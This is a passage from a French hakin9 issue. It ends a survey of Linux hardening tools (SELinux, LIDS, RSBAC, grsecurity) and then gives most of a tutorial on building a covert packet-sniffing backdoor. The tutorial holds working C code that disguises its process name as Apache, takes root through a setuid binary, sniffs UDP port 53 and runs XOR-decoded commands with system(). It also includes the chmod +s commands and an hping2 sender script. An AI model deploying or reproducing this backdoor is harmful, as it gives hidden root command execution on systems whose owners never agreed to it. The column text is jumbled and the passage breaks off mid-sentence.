Le modèle de contrôle obligatoire de l'accès (MAC) peut être réalisé à l'aide de deux mécanismes : la liste des droits d'accès (en anglais Access Control List, ACL) et les rôles (RBAC). Les listes des droits d'accès déterminent les droits de chaque utilisateur aux ressources concrètes. Du point de vue de l'administrateur, la configuration des ACL consiste à affecter à chaque utilisateur des droits d'accès appropriés. La gestion de rôles consiste à définir par l'administrateur des groupes d'utilisateurs suivant les tâches qu'ils réalisent. Ensuite, il détermine les droits pour chaque groupe et lui affecte les utilisateurs choisis. En pratique, une simple implémentation des rôles ne diffère pas des groupes d'utilisateurs dans les listes des droits d'accès. Mais les solutions RBAC plus avancées offrent plus de possibilités.
LIDS
LIDS (Linux Intrusion Detection System) est encore un correctif pour le noyau qui élargit les principaux mécanismes de contrôle des droits d'accès. Les auteurs du projet sont Xie Huagang et Philippe Biondi. Les premières versions de LIDS ont été créées pour les noyaux de la série 2.2, et actuellement, elles peuvent
programmes aux ressources (fichiers, répertoires, fonctions réseau, etc.). Vu que la configuration manuelle des règles est assez difficile, les auteurs du projet proposent dans la documentation quelques configurations types pour les services et les outils d'administration.
Installation
être appliquées aussi bien pour ceux de la série 2.4 que 2.6.
L'installation de LIDS est similaire à celle décrite ci-dessus. Il faut en plus compiler et installer les outils du paquet lidstools et préconfigurer les règles de l'accès.
Mécanismes de protection
SELinux
LIDS introduit le contrôle obligatoire des droits d'accès (MAC avec ACL). Les droits sont définis à l'aide du paquet lidstools, composé des outils lidsadm et lidsconf. La configuration consiste à définir les droits des
Exemples d'emploi Serveur
Les serveurs offrent le plus souvent un jeu de services concret, offrant, par exemple, accès au courrier électronique, aux sites Web, stockant les fichiers ou les bases de données. Il arrive souvent qu'un système joue plusieurs rôles à la fois. Seulement dans les grandes entreprises, les serveurs sont dédiés à un seul service. Souvent, le serveur est administré par plusieurs personnes – l'une d'elles s'occupe des services de messagerie, l'autre saisit les modifications sur les sites Web ou dans le bases de données. Dans cette situation, une bonne solution est d'intégrer le mécanisme de contrôle d'accès basé sur les rôles de façon à ce que chaque administrateur ait les droits d'accès pas supérieurs à ceux dont il a besoin pour effectuer sa tâche. L'administrateur du système ne doit pas, par exemple, modifier le contenu des pages Web. Vu que la prestation des services exige de donner accès à plusieurs utilisateurs (souvent en public, dans Internet), il est très important d'implémenter la protection contre les erreurs connues : la protection de la mémoire dans le noyau et dans le compilateur. Chaque application de service doit être enfermée dans un environnement chroot séparé. Pour cela, la meilleure solution sont les projets SSP et grsecurity ou RSBAC car elles offrent tous les moyens de sécurité exigés dans cette situation.
Station de travail
La station de travail peut être accessible à plus d'une personne. Mais elle n'offre pas de services aux utilisateurs externes et est gérée par un administrateur. C'est pourquoi, la station de travail peut être préservée par la protection de la mémoire dans le noyau du système (PaX ou grsecurity sans lancer le mécanisme du contrôle d'accès) et la limitation des droits de l'utilisateur à l'aide de LIDS.
Routeur ou pare-feu
Les systèmes spécialisés tels que routeurs et pare-feux et les systèmes IDS ou IPS sont administrés par une personne. Ils n'offrent pas aucun service, et fonctionnent souvent dans la deuxième couche TCP/IP, n'ont pas d'adresses IP, et ils ne sont accessibles qu'à partir de la console. Dans cette situation, une protection supplémentaire n'est pas nécessaire. Mais si une adresse IP a été affectée au système et il est administré à distance, il est recommandé d'utiliser PaX ou grsecurity. On peut aussi envisager d'ôter au root les droits inutiles à l'aide de LIDS.
www.hakin9.org
Le projet Security-Enhanced Linux (SELinux) a été conçu en 2000 par l'Agence de la Sécurité Nationale des États Unis en collaboration avec les sociétés spécialisées en sécurité informatique. Il est basé sur les techniques Flask, transférées dans Linux à partir du système Flux. SELinux a été un supplément au noyau, mais il a été intégré à Linux 2.5.
Mécanismes de protection
SELinux implémente le contrôle obligatoire de l'accès basé sur les rôles. Il est plus développé que grsecurity, mais aussi plus difficile à configurer. Le projet est bien documenté, mais n'offre pas des mécanismes de création automatique de la politique de sécurité. Heureusement, il existe des projets à part offrant ces fonctions (par exemple polgen). Les distributions utilisant SELinux possèdent les paquets avec les règles d'accès prédéfinies aux applications les plus populaires.
Installation
SELinux se compose du code dans le noyau du système, de la bibliothèque libselinux et des paquets checkpolicy et policycoreutils. Les noyaux de la série 2.6 contiennent SELinux – il suffit d'activer les options appropriées dans la configuration et de compiler le noyau. Pour pouvoir utiliser SELinux dans les noyaux de la série 2.4., l'utilisateur doit seul appliquer les correctifs. Dans le système
hakin9 Nº 2/2006
33
Focus
Tableau 2. La comparaison des projets Openwall et PaX Fonction
Openwall
PaX
Versions du noyau
2.0, 2.2, 2.4
2.2, 2.4, 2.6
Protection de la mémoire contre modifications
Protection de la pile du processus
Affectation aux segments de la mémoire des droits en écritures ou en exécution
Randomisation de la mémoire Randomisation des adresses des bibliothèques partagées
Randomisation de tous les segments de la mémoire du processus
Limitations des liens dans les répertoires temporaires
Oui
Non
Limitations des canaux nommés dans les répertoires temporaires
Oui
Non
Limitations de l'accès au répertoire /proc
Oui
Non
Tableau 3. La comparaison des projets grsecurity, LIDS, SELinux et RSBAC Fonction
grsecurity
LIDS
SELinux
RSBAC
Contrôle d'accès
Rôles
ACL
Rôles
Rôles
Protection de la mémoire
Oui, intégré à PaX
Non
Non
Oui, intégré à PaX
Protection du système
Protection du répertoire /proc, randomisation de la gestion du réseau et des processus, chroot renforcé, limitations des liens, protection contre les situation de compétition, journalisation avancée des évènements
Protection du système réalisée par la configuration des listes des droits d'accès
Protection du système réalisée par la configuration des règles du contrôle de l'accès
Protection du répertoire /proc, randomisation de la gestion du réseau et des processus, chroot renforcé, limitations des liens, protection contre les situation de compétition, journalisation avancée des évènements, gestion d'utilisateurs du côté noyau
Création automatique des règles de l'accès
Oui, intégrée
Non
Oui, programmes externes
Oui, intégrée
Tableau 4. Les distribution de Linux avec protection RedHat
Fedora
Hardened Gentoo
Adamantix EnGarde
Owl
Openwall
Oui
PaX
Oui
Oui
SSP
Oui
Oui
grsecurity
Oui
Oui
LIDS SELinux
Oui Oui
Oui
RSBAC protégé, il est nécessaire d'utiliser les versions modifiées de certains outils tels que ls, cp, ps ou login.
RSBAC
RSBAC (Rule Set Based Access Control) est un projet très évolué,
34
hakin9 Nº 2/2006
Oui Oui
Oui Oui
avec les mécanismes du contrôle d'accès très avancés. La version stable est disponible depuis janvier 2000. Ce n'est pas une solution uniforme, mais une architecture modulaire applicable aux différents types des protections.
www.hakin9.org
Oui Oui
Mécanismes de protection
RSBAC offre les fonctions suivantes : •
La gestion d'utilisateurs au niveau du noyau système. Les informations sur les comptes,
Revue des mécanismes augmentant la sécurité de Linux
À propos de l'auteur
Michał Piotrowski, maîtrise en informatique, a plusieurs d'années d'expérience dans l'administration des réseaux et des systèmes. Pendant plus de trois années, il travaillait comme inspecteur de sécurité dans une institution supportant l'autorité supérieure de certification dans l'infrastructure polonaise de PKI. Actuellement, il est spécialiste en sécurité téléinformatique dans l'une des plus grandes institutions financières en Pologne. Dans ses moments libres, il s'occupe avec de la programmation et de la cryptographie.
•
•
•
groupes, mots de passe et droits d'accès sont stockés dans le noyau et pas dans les fichiers passwd, shadow, group et gshadow. Pour pouvoir profiter de cette fonction, il est nécessaire de modifier certaines bibliothèques systèmes et le mécanisme PAM. Les limitations de la fonction setuid() – les programmes avec le bit SUID ou SGID positionné doivent être autorisés. Le contrôle d'accès obligatoire avec la possibilité d'utiliser les listes des droits d'accès ou les rôles. La protection de la mémoire des processus (l'intégration avec PaX), l'augmentation de la sécurité du mécanisme chroot, le limite de l'utilisation des ressources de l'ordinateur, la protection spéciale des fichiers, le contrôle d'accès aux interfaces réseau, la protection des informations dans le répertoire /proc et autres.
Installation
Pour profiter des possibilités offertes par RSBAC, il est nécessaire de
modifier le noyau du système et d'installer les programmes d'administration disponibles sur le site du projet. Il est également indispensable de modifier certains outils ou bibliothèques système.
Choix difficile
Le choix de la meilleure solution liée à la protection de la mémoire des processus dans le noyau du système ou du côté compilateur n'est pas difficile. Mais le choix du mécanisme élargissant le contrôle de l'accès au système peut être difficile. SELinux est installé dans les versions officielles des noyaux de la série 2.6, ce qui garantit une bonne intégration avec le système d'exploitation. Vu qu'il est développé par NSA, on peut espérer que les travaux ne seront pas interrompus. C'est un projet bien documenté, et installé et préconfiguré dans certaines distributions (RedHat, Fedora). Son désavantage est qu'il est nécessaire de configurer l'accès dès le début, par contre son application dans un système déjà fonctionnant n'est pas facile et exige un travail considérable.
Sur Internet • • • • • • • • • • • • •
http://www.openwall.com/linux/ – Openwall, http://pax.grsecurity.net/ – PaX, http://www.trl.ibm.com/projects/security/ssp/ – SSP, http://www.grsecurity.org/ – grsecurity, http://www.lids.org/ – LIDS, http://www.nsa.gov/selinux/ – SELinux, http://www.mitre.org/tech/selinux/ – Générateur de la politique pour SELinux, http://www.rsbac.org/ – RSBAC, http://www.gentoo.org/proj/en/hardened/ – Hardened Gentoo, http://www.trusteddebian.org/ – Adamantix, http://www.guardiandigital.com/products/software/community/ – EnGarde Linux, http://dc.qut.edu.au/adios/ – Adios Linux, http://www.openwall.com/Owl/ – Openwall GNU/*/Linux (Owl).
www.hakin9.org
Par contre grsecurity est un paquet simple à configurer. Il offre des outils créant automatiquement les règles de l'accès et les mécanismes additionnels de protection du système (pas seulement MAC/RBAC). Malheureusement, le système de contrôle de l'accès dans ce projet n'est pas bien documenté et offre des possibilités plus restreintes que SELinux et RSBAC. Pourtant, grsecurity semble le meilleur outil, si l'on tient à une installation et une configuration rapides et simples. Du point de vue de la fonctionnalité, LIDS est similaire à grsecurity, mais il ne possède pas de rôles et n'offre pas tant de mécanismes protégeant le système d'exploitation. Mais il est mieux documenté que grsecurity, et sur le site du projet, on peut trouver beaucoup d'ACL pour la plupart des applications populaires. C'est un bon choix, si nous voulons limiter les droits du superutilisateur, et en même temps, nous cherchons un outil simple à installer.
À chacun sa protection
Aucune des solutions présentées ne peut considérée comme meilleure ou pire des autres. Pour faire un bon choix, nous devons réfléchir, si le projet satisfait à nos conditions et si nous comprenons les mécanismes qu'il intègre. La sécurité de notre ordinateur dépend non seulement de l'efficacité des outils, mais, dans une grande mesure, de leur bonne configuration. Pour vous faciliter le choix, nous présentons les tableaux (cf. Tableau 2 et 3) contenant les informations de base sur les solutions proposées. L'Encadré Exemples d'emploi suggère les solutions à partir des fonctions type de l'ordinateur. Pour plusieurs utilisateur, le plus simple est de choisir la distribution offrant les solutions toutes prêtes. Ainsi, nous ne devons pas modifier, configurer et compiler le noyaux tous seuls, en choisissant lors de l'installation du système le paquet préconfiguré. Le Tableau 4 informe quels mécanismes sont disponibles dans les distributions de Linux les plus populaires. l
hakin9 Nº 2/2006
35
Pratique
Création de portes dérobées sophistiquées sous Linux – reniflage de paquets Brandon Edwards
Degré de difficulté
Alors que les développeurs s'efforcent de créer de nouvelles défenses contre les portes dérobées, les pirates se voient obligés de mettre au point de nouvelles techniques innovantes afin de garder le rythme effréné imposé par le secteur en pleine croissance de la sécurité informatique. L'une de ces techniques concerne les portes dérobées chargées de détecter des paquets.
L
e reniflage de paquets représente une nouvelle technique de porte dérobée, développée par la nécessité de contourner un pare-feu local (comme Netfilter, par exemple), sans intégrer de code ni retour de connexion. Ce genre de porte dérobée fonctionne en capturant des paquets (si possible dotés d'informations spécifiques) afin d'intercepter des commandes à exécuter. Le système n'a pas à accepter les paquets contenant les commandes de la porte dérobée en tant que connexion, mais celles-ci doivent être vues par l'interface réseau du système cible. Le reniflage de paquets présente de nombreux avantages au niveau des commandes (au lieu d'écouter des connexions ou de les amorcer). En capturant des paquets hors de l'interface réseau sans demander au système une interface de connexion, les paquets sont lus par les portes dérobées même si ces derniers sont filtrés localement (par Netfilter, par exemple). Dans la mesure où cette méthode ne doit jamais accepter de connexion via le système, elle ne s'affiche jamais avec netstat. Enfin, comme il ne faut capturer que les paquets dirigés vers le système (et non vers
36
hakin9 Nº 2/2006
d'autres systèmes du réseau), il est possible de faire fonctionner l'interface de réseau en mode non espion afin d'éviter tout affichage dans les journaux du système local.
Conception d'une porte dérobée
L'installation de portes dérobées chargées de renifler des paquets soulève certains autres problèmes intéressants, tels que l'identification des paquets à interpréter pour
Cet article explique... • •
Le mode de fonctionnement d'une porte dérobée de reniflage de paquets, Comment mettre cette technique en pratique.
Ce qu'il faut savoir... • • •
www.hakin9.org
Les principes fondamentaux de la gestion de réseaux TCP/IP, Les principes fondamentaux de la programmation en C, La gestion de réseau Linux au moyen de libpcap.
Création d'une porte dérobée pour le reniflage de paquets
Portes dérobées locales versus portes dérobées à distance Les portes dérobées locales sont exécutées en mode local sur le système cible (comme son nom l'indique), et exigent donc de l'éventuel pirate certaines formes d'accès prioritaire vers le système affecté avant exécution. La plupart des portes dérobées dites locales sont utilisées par les pirates bénéficiant d'un accès protégé pour accroître leurs privilèges. Malgré les nombreuses approches permettant d'utiliser et de masquer de manière indirecte les portes dérobées locales, la présence nécessaire du pirate sur le système local engendre un risque inhérent élevé d'être découvert. C'est la raison pour laquelle les portes dérobées dites à distance deviennent de plus en plus utilisées par rapport aux portes exigeant un accès en local. Les portes dérobées dites à distance sont accessibles par le réseau, autorisant tout usage à partir du système du pirate sans accès prioritaire (autre que la création de la porte dérobée elle-même, bien entendu). En règle générale, ce genre de portes dérobées était accessible à distance via les interfaces de connexion TCP placées en écoute sur un port important, grâce auquel l'utilisateur est susceptible de se connecter. Au moment d'établir une connexion, il peut arriver qu'un processus d'identification soit déclenché, bien que de nombreuses portes dérobées accordent un accès immédiat. Ce genre d'interface de connexion standard chargée d'écouter une porte dérobée est assez primitif, et très facilement détectable par des outils tels que netstat (sous réserve que netstat lui-même ne soit pas espionné par une porte dérobée). Ce type de portes dérobées peut également être facilement découvert au moyen d'un scan de ports à distance, permettant de ce fait une utilisation arbitraire du système par d'autres pirates.
Nouvelles tactiques des portes dérobées
Avec l'évolution spectaculaire en matière de sécurité informatique, les administrateurs ont appris à détecter et à contrer les portes dérobées élémentaires d'écoute de connexion. En activant certaines règles des pare-feux afin de bloquer le trafic sur les ports inutiles pour les services les plus courants, il est possible de réduire considérablement la connectivité des portes dérobées d'écoute, voir de les éliminer totalement. Afin de contourner cette défense, de nouvelles tactiques ont été mises au point. •
•
Intégrer le code d'une porte dérobée dans un démon existant, avec accès privilégié, chargé d'écouter une interface de connexion afin de contourner le(s) pare-feu(x). Un démon avec porte dérobée intégrée est susceptible d'écouter et de fournir un service classique jusqu'à réception d'une certaine forme de déclencheur de protocole. À ce moment précis, les privilèges seront levés (si nécessaire) et une protection installée sur l'interface de connexion. L'avantage majeur de ce genre de porte dérobée réside dans le fait que , en cas de détection par netstat ou par un scan de ports, elle est affichée sous forme de démon d'écoute standard. Cette méthode présente toutefois le risque d'avoir à remplacer un fichier binaire privilégié sur le système cible, dans la mesure où il est fort probable que des IDS hôtes ou un administrateur expérimenté le détecte. Même si ce binaire n'est pas détecté, il est également fort probable que le binaire porteur de la porte dérobée soit supprimé en cas de mise à jour du démon (par le nouveau binaire non-piraté). Se reconnecter sur une machine pirate, plutôt que d'écouter une connexion entrante afin de contourner le(s) pare-feu(x). On suppose, avec cette tactique, que si un pare-feu est activé, ses politiques autorisent le trafic sortant vers des ports arbitraires par défaut. Les pare-feux chargés de contrôler l'état des connections (pare-feu d'état) autorisent souvent le trafic entrant lié aux connexions établies, permettant à cette technique de fonctionner. Malheureusement, cette forme de porte dérobée s'affiche dans les données de sortie de netstat (et attire généralement les soupçons), car il s'agit toujours d'une connexion gérée par le système. Autre inconvénient majeur de cette méthode, le compteur et/ou le déclencheur doivent déterminer le moment et le lieu de retour d'une connexion.
www.hakin9.org
les commandes, et la façon de les authentifier. De même, envoyer des chaînes de commandes en texte simple dans les paquets est susceptible d'alerter la personne chargée de contrôler le trafic réseau de la présence d'une porte dérobée, auquel cas, il est recommandé d'avoir recours à certaines formes de codage (même s'il ne s'agit que d'une simple substitution de caractères). Bien que cette méthode ne soit pas sans danger, elle peut se révéler très difficile à remarquer à moins d'être exclusivement recherchée. Nous examinerons plus en détails, dans le présent article, la nature de ce genre de porte dérobée en exposant comment en écrire une.
Objectifs d'une porte dérobée
Avant d'écrire un programme, il est judicieux d'en identifier les objectifs. Une fois les objectifs identifiés, il est ensuite plus facile d'écrire un plan de ce programme sur lequel s'appuiera le code de base. Les objectifs (buts) à atteindre dans le cadre de notre exercice de création d'une porte dérobée chargée de renifler des paquets sont les suivants : •
•
•
•
Doit s'exécuter comme un programme setuid(), évidemment pour donner à son utilisateur un accès de type root, mais aussi parce que les privilèges root sont nécessaires à la capture de paquets. Les paquets capturés seront dirigés vers un port sélectionné et classique tel que UDP 53 (utilisé par DNS). Sera chargé d'interpréter et de déchiffrer chaque paquet au moyen d'un certain procédé d'authentification, idéalement le codage, et d'exécuter les contenus des paquets authentifiés en tant que commande. Devra posséder certaines fonctionnalités supplémentaires de rootkit afin d'éviter tout risque de détection par des outils tels que ps.
hakin9 Nº 2/2006
37
Pratique
Listing 1. Ebauche basique de code Main Program Function { mask process name raise privileges initialize variables & packet capture functions build packet filter for desired port, protocol, etc. enact packet filter
}
Loop infinitely { Call function to capture a packet Pass captured packet to Packet Handler Function }
Packet Handler Function { verify packet is intended for backdoor by checking for a pre-defined backdoor header key ->if key is not present then return Since backdoor has a header key, decrypt remaining packet data with some pre-defined password After Decryption, verify data decrypted into backdoor intended commands by checking for protocol header/footer ->if header/footer flags are not present then return
}
since packet had header key, and decrypted properly, containing adequate flags, execute the remaining data call system to execute decrypted_data then return
Ébauche de code
Maintenant que les objectifs de notre programme sont identifiés, nous devons désormais en illustrer la structure et la logique de ce programme. Plusieurs méthodes sont possibles, comme les diagrammes par exemple. Nous avons choisi un pseudo-code, pouvant être facilement lu et traduit en code réel ultérieurement. Vous trouverez dans le Listing 1 une ébauche de programme soulignant la façon d'atteindre les objectifs désirés pour notre porte dérobée. Ce résumé est écrit sous forme de commentaires descriptifs de code afin d'illustrer toute la logique du programme. Cette base sera utilisée comme référence tout au long du présent article afin d'écrire le code réel de notre porte dérobée. La disposition du programme telle qu'exposée dans le Listing 1 est divisée en deux parties : une
38
hakin9 Nº 2/2006
fonction principale, et une fonction de gestion de paquets appelée par la fonction principale. Dans main(), nous masquons le nom du processus afin de ne pas alerter quelqu'un qui lancerait un programme de type ps pour voir les processus opérationnels. Pour des raisons évidentes, un pirate ne souhaite pas qu'un administrateur détecte un processus intitulé backdoor, ou silentdoor, etc. Des privilèges sont ensuite levés, afin de pouvoir capturer des paquets et les fournir également à l'utilisateur de la porte dérobée. Puis, les paquets chargés de capturer les variables et les fonctions nécessaires à une session de capture de paquets sont initialisés. Enfin, une boucle infinie de capture de paquets est insérée afin de passer chaque paquet capturé dans la fonction de gestion. Cette fonction de gestion de paquet exige le plus de logique dans
www.hakin9.org
le programme, dans la mesure où celle-ci est chargée de déchiffrer les paquets destinés à la porte dérobée à partir de l'ensemble des paquets issus d'un même protocole et d'un même port. Le moyen le plus efficace consiste à insérer une certaine forme d'authentification, impliquant généralement un certain type de codage. Dans l'ébauche de programme, le paquet reçu est perçu comme une clé à en-tête de porte dérobée (certaines phrases clés chargées de suggérer que le paquet est destiné à la porte dérobée). En cas d'absence de cette clé à en-tête de porte dérobée, la fonction de gestion rent la main immédiatement, afin que le programme puisse être prêt à intercepter le paquet suivant. Si la clé à en-tête est bien présente, la fonction de gestion décrypte alors les données du paquet restant au moyen d'un mécanisme basique de décryptage. Une fois la manoeuvre exécutée, le contenu du paquet décrypté est scanné pour y trouver certaines chaînes ou drapeaux, afin d'être sûr que le décryptage a bien fonctionné. En cas d'absence de drapeaux décryptés, la fonction de gestion se contente de revenir. Ce processus se déclenche en tant que couche finale d'authentification : si le paquet possède bien une clé à en-tête, et si le contenu du paquet est correctement décrypté, on suppose donc sans grand risque que le paquet en question est bien destiné à la porte dérobée et contient une commande. À ce stade, le contenu du paquet restant décrypté est extrait et exécuté sous forme de commande système, complétant ainsi l'objectif de notre porte dérobée.
Rédaction du programme Rédiger un programme quelconque, chargé de renifler les paquets, est relativement aisé, notamment avec l'aide de la bibliothèque libpcap. Cette bibliothèque Libpcap propose un ensemble complet et facile à utiliser de fonctions chargées de capturer
Création d'une porte dérobée pour le reniflage de paquets
Listing 2. Masquer le nom de processus et lever les privilèges #include #include #include #include #include
<stdio.h> <string.h> <sys/types.h>
#define MASK "/usr/sbin/apache2 -k start -DSSL" int main(int argc, char *argv[]) {
Lever les privilèges
/* mask the process name */ strcpy(argv[0], MASK); /* change the UID/GID to 0 (raise privs) */ setuid(0); setgid(0); /* /* /* /*
setup packet capturing */ ... */ capture and pass packets to handler */ ... */
}
Listing 3. Capture de paquets pcap_t char char struct bpf_u_int32 bpf_u_int32
*sniff_session; errbuf[PCAP_ERRBUF_SIZE]; filter_string[]="udp dst port 53"; bpf_program filter; net; mask;
if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf)) { /* failed. die. */ exit(0); } if (!(sniff_session=pcap_open_live(NULL, 1024, 0, 0, errbuf))) { /* failed. die */ exit(0); } pcap_compile(sniff_session, &filter, filter_string, 0, net); pcap_setfilter(sniff_session, &filter); pcap_loop(sniff_session, 0, packet_handler, NULL);
et de gérer les paquets. Nous allons présenter dans le cadre du présent article quelques fonctions élémentaires de la bibliothèque libpcap que nous utiliserons pour créer une porte dérobée. Le but n'est toutefois pas de couvrir les possibilités de cette bibliothèque dans son intégralité. Vous pouvez consulter le site suivant pour plus d'informations sur les fonctions de la bibliothèque libpcap : http:// www.tcpdump.org.
Masquer le nom du processus
Cacher ou plus précisément masquer le nom du processus est
que pour le nom du processus du programme. Il s'agit d'une méthode simple et efficace permettant de modifier le nom de processus d'un programme (afin de tromper quelqu'un qui exécuterait ps). Dans ce cas, le nom est modifié pour ressembler au nom d'un processus d'exécution d'Apache.
le premier objectif évoqué dans l'ébauche de programme mentionnée plus haut. Ce sera également la première étape à réaliser au moment de rédiger le code. Nous avons exposé dans le Listing 2 le début d'une traduction en C du pseudo-code illustré dans le Listing 1. Dans la fonction main(), la première ligne de code est la suivante : strcpy(argv[0], MASK). L'appel vers cette fonction a pour but de copier la chaîne définie comme MASK dans argv[0]. Lorsque argv[0] est modifié, il en va de même pour le nom de base du programme ainsi
www.hakin9.org
Vous constaterez en observant le Listing 2 que les privilèges ont été modifiés en appelant setuid(0) ainsi que setgid(0), afin de paramétrer respectivement l'UID et le GID. Cette étape est l'objectif le plus important d'une porte dérobée. Chacune de ces fonctions prend un argument : l'identifiant souhaité. Dans la mesure où les valeurs utilisateur et identifiant de groupe sont 0 en mode root, ces fonctions permettent de doter le programme de privilèges root opérationnels. Les privilèges root fournissent non seulement un accès total à l'utilisateur, mais sont également nécessaires pour la capture des paquets. Bien sûr, afin que notre programme soit effectivement autorisé à émettre ses propres privilèges, le binaire compilé doit disposer de l'ensemble bit-suid sur le système cible. Paramétrer le bitsuid du binaire relatif à une porte dérobée ainsi que les permissions pertinentes revient à passer les commandes suivantes sur le système cible : # chown root backdoor_binary # chmod +s backdoor_binary
Capture des paquets
Il est désormais temps de commencer à rédiger les fonctions pcap appropriées afin de capturer des paquets. Le Listing 3 contient le code fondamental permettant de débuter une session de capture d'un paquet dans l'exemple d'une porte dérobée. La première étape du processus consiste à appeler la fonction pcap _ lookupnet(), chargée de reconnaître pcap via le réseau ainsi que le netmask à partir duquel elle sera
hakin9 Nº 2/2006
39
Pratique
Listing 4. Gestion des paquets et analyse syntaxique des commandes #define #define #define #define #define #define #define #define
ETHER_IP_UDP_LEN 44 MAX_SIZE 1024 BACKDOOR_HEADER_KEY "leet" BACKDOOR_HEADER_LEN 4 PASSWORD "password" PASSLEN 8 COMMAND_START "start[" COMMAND_END "]end"
void packet_handler(u_char *ptrnull, const struct pcap_pkthdr *pkt_info, const u_char *packet) { int len, loop; char *ptr, *ptr2; char decrypt[MAX_SIZE]; char command[MAX_SIZE]; /* Step 1: identify where the payload of the packet is */ ptr = (char *)(packet + ETHER_IP_UDP_LEN); if ((pkt_info->caplen - ETHER_IP_UDP_LEN - 14) caplen - ETHER_IP_UDP_LEN - BACKDOOR_HEADER_LEN); memset(decrypt, 0x0, sizeof(decrypt)); /* Step 3: decrypt the packet by XOR'ing pass against contents for (loop = 0; loop < len; loop++) decrypt[loop] = ptr[loop] ^ PASSWORD[(loop % PASSLEN)];
*/
/* Step 4: verify decrypted contents */ if (!(ptr = strstr(decrypt, COMMAND_START))) return; ptr += strlen(COMMAND_START); if (!(ptr2 = strstr(ptr, COMMAND_END))) return; /* Step 5: extract what remains */ memset(command, 0x0, sizeof(command)); strncpy(command, ptr, (ptr2 - ptr));
}
/* Step 6: Execute command */ system(command); return;
reniflée. Cet appel assez particulier va chercher puis stocker le réseau et le netmask dans les variables net et mask de bpf _ u _ int32, fournies sous forme d'arguments. Le premier argument de cette fonction représente le dispositif souhaité à partir duquel les paquets doivent être capturés, mais, si ce dernier est réglé sur NULL, n'importe quel dispositif peut alors être utilisé, capturant ainsi des paquets à partir
40
hakin9 Nº 2/2006
de toutes les interfaces disponibles. Dans la mesure où les pirates ne sont pas censés connaître les dispositifs disponibles sur le système cible, il est plus judicieux de ne pas indiquer un dispositif en particulier lorsque vous créez une porte dérobée. En cas d'échec de l'appel de la fonction, la valeur -1 est retournée, et le programme appelle alors exit(). La fonction suivante appelée dans le Listing 3 est pcap _ open _
www.hakin9.org
live(),
chargée d'ouvrir et de retourner un pointeur vers un descripteur de capture de paquets. Un descripteur de capture est un type de données primaires, et peut éventuellement gérer l'ensemble des aspects lors d'une session de capture de paquets. À l'instar de la fonction précédente, le premier argument de cette fonction représente le dispositif du réseau à capturer, dont la valeur NULL implique tous les dispositifs disponibles. L'argument suivant permet de régler la quantité maximale d'octets à capturer à partir de chaque paquet, appelée snaplen, généralement fixée à 1024. Le troisième argument détermine s'il faut oui ou non placer le dispositif en mode espion (pour capturer ou pas les paquets qui n'étaient pas destinés pour ce système). Dans notre exemple, il est réglé en mode non-espion, mais cette option n'est pas très importante dans ce contexte dans la mesure où elle est ignorée si le premier argument est réglé sur NULL (soit n'importe quel dispositif). Il est en effet plus avantageux de ne pas placer le dispositif en mode espion dans le cadre de cette application. Il arrive bien souvent qu'en mode espion, une déclaration alertant le statut du dispositif soit enregistrée dans le journal du système (ce qui pourrait permettre alors de détecter la présence d'une porte dérobée). Le quatrième argument est un délai d'attente prédéfini en millisecondes, zéro signifiant l'absence de délai d'attente. Si pcap _ open _ live() échoue, la valeur NULL est retournée, et le programme appellera alors exit(), sinon un pointeur vers un descripteur de capture serait retourné. L'appel suivant est la fonction pcap _ compile(). Cette fonction crée, ou dans le jargon de pcap compile, un filtre de paquets afin de restreindre le type de paquets à capturer. Créer un filtre de paquet est la méthode la plus simple pour spécifier le protocole désiré ainsi que le port de paquets à capturer,
Création d'une porte dérobée pour le reniflage de paquets
Envoi des commandes à la porte dérobée
Maintenant que notre porte dérobée est fin prête, nous avons besoin d'un outil capable d'envoyer les commandes. Nous avons exposé dans le Listing 5 une implémentation très simple d'un tel script. Celui-ci exige la commande hping. En voici l'usage : $ ./silentkey.sh
Ce script nécessite une courte application C pour pouvoir appliquer l'opérateur booléen OU exclusif sur la chaîne (voir le Listing 6). Celle-ci doit être compilée puis placée dans le même répertoire que le script silentkey.sh : $ gcc -o xor_string xor_string.c
Ce script peut être utilisé à la fois avec la porte dérobée telle que décrite dans le présent article, et avec l'application SilentDoor. Le package SilentDoor contient une application plus sophistiquée pour l'envoi de commandes.
Listing 5. silentkey.sh, procédure d'interpréteur de commande chargée d'envoyer des commandes dans les paquets #!/bin/bash PASS=leet OPTS="-c 1 -2 -E /dev/stdin -d 100 -p 53 " COM_START="start[" COM_END="]end" if [ -z "$1" ] then echo "$0 " exit 0 fi if [ -z "$2" ] then echo "$0 " exit 0 fi echo "$COM_START$2$COM_END $PASS to hping $OPTS $1" ./xor_string "$COM_START$2$COM_END" $PASS | hping2 $OPTS $1
Listing 6. xor_string.c, utilisé par le script exposé dans le Listing 5 #include <stdio.h> int main(int argc, char *argv[]) { int i, x, y; if (!argv[1] || !argv[2]) { printf("%s <string> <pass>\n", argv[0]); return 0; } x = strlen(argv[1]); y = strlen(argv[2]); for (i = 0; i < x; ++i) argv[1][i] ^= argv[2][(i%y)]; printf("%s", argv[1]); return 0; }
et peut donc être utilisé pour remplir l'un des objectifs de la porte dérobée.
Le premier argument de pcap _ est le descripteur de capture, sniff _ session . L'argument compile()
www.hakin9.org
suivant attendu est un pointeur vers une structure bpf _ program . Cette structure est appelée filter program (programme de filtre) qui sera compilée par pcap _ compile(). Dans notre exemple, le bpf _ program déclaré est appelé filter, puis passé vers pcap _ compile() grâce à son adresse (sous forme effective de pointeur). Le troisième argument est une chaîne contenant les règles à compiler dans ce filtre. Ces chaînes de règles pour le filtre sont écrites dans une syntaxe logique et intuitive. Le tableau, déclaré en tant que filter _ string[], et contenant "udp dst port 53", est passé pour cet argument. Une fois compilé dans un bpf _ program , cette chaîne de règles indique à pcap de ne capturer que les paquets destinés au port UDP 53. Une fois le filtre de paquets compilé, ce dernier est ensuite activé en appelant pcap _ setfilter(sniff _ session, filter). À partir de ce moment, tout paquet capturé au moyen du descripteur de capture sniff _ session sera du protocole UDP destiné au port 53 (ce qui représentait également un des objectifs de la porte dérobée). Enfin, toujours dans le Listing 3, la fonction pcap _ loop() est appelée pour lancer la session de capture en question. Les arguments attendus par pcap _ loop() sont les suivants : le descripteur de capture, le comptage de paquets à capturer, le nom d'une fonction de gestion de paquets, ainsi qu'un pointeur arbitrairement défini, chargé de passer vers le gestionnaire de paquets. La fonction pcap _ loop() fonctionne en écoutant puis capturant des paquets sur le descripteur fourni, jusqu'à ce que le nombre de captures indiqué soit atteint. Au moment de capturer chaque paquet, la fonction appelle la fonction de gestion fournie afin de traiter le paquet en conséquence. Cette fonction de gestion de paquets doit être dotée d'une structure d'argument spécifiquement définie, dans la mesure où pcap _ loop() est 